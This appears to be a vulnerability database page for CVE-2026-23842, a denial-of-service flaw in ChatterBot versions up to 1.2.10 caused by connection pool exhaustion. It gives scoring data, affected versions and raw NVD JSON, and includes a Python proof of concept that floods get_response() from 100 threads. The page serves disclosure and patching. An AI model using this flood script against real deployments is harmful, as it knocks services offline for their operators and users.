Security Vulnerability Report
中文
CVE-2026-23842 CVSS 7.5 HIGH

CVE-2026-23842

Published: 2026-01-19 19:16:05
Last Modified: 2026-02-05 18:03:53

Description

ChatterBot is a machine learning, conversational dialog engine for creating chat bots. ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover. Version 1.2.11 fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:chatterbot:chatterbot:*:*:*:*:*:*:*:* - VULNERABLE
ChatterBot < 1.2.11
ChatterBot <= 1.2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading import time from chatterbot import ChatBot from chatterbot.trainers import ListTrainer def trigger_dos(): """ PoC for CVE-2026-23842: ChatterBot connection pool exhaustion This script demonstrates how concurrent get_response() calls can exhaust the SQLAlchemy connection pool, causing DoS. """ # Initialize vulnerable ChatBot instance (version <= 1.2.10) chatbot = ChatBot( 'VulnerableBot', database_uri='sqlite:///chatterbot.sqlite3' ) # Train with minimal data trainer = ListTrainer(chatbot) trainer.train(['Hello', 'Hi there']) # Concurrent request handler def make_request(thread_id): try: for _ in range(50): response = chatbot.get_response('Hello') except Exception as e: print(f'Thread {thread_id}: Connection pool exhausted - {e}') # Launch concurrent threads to exhaust connection pool threads = [] for i in range(100): t = threading.Thread(target=make_request, args=(i,)) threads.append(t) t.start() for t in threads: t.join() if __name__ == '__main__': trigger_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23842", "sourceIdentifier": "[email protected]", "published": "2026-01-19T19:16:04.510", "lastModified": "2026-02-05T18:03:53.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChatterBot is a machine learning, conversational dialog engine for creating chat bots. ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover. Version 1.2.11 fixes the issue."}, {"lang": "es", "value": "ChatterBot es un motor de diálogo conversacional de aprendizaje automático para crear chatbots. Las versiones de ChatterBot hasta la 1.2.10 son vulnerables a una condición de denegación de servicio causada por una gestión inadecuada de la sesión de base de datos y del pool de conexiones. Las invocaciones concurrentes del método get_response() pueden agotar el pool de conexiones subyacente de SQLAlchemy, lo que resulta en una indisponibilidad persistente del servicio y requiere un reinicio manual para recuperarse. La versión 1.2.11 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chatterbot:chatterbot:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.11", "matchCriteriaId": "4D8B9379-D459-4198-B388-2BCC2378AB98"}]}]}], "references": [{"url": "https://github.com/gunthercox/ChatterBot/commit/de89fe648139f8eeacc998ad4524fab291a378cf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gunthercox/ChatterBot/pull/2432", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/gunthercox/ChatterBot/releases/tag/1.2.11", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-v4w8-49pv-mf72", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f", "source": "[email protected]", "tags": ["Exploit"]}]}}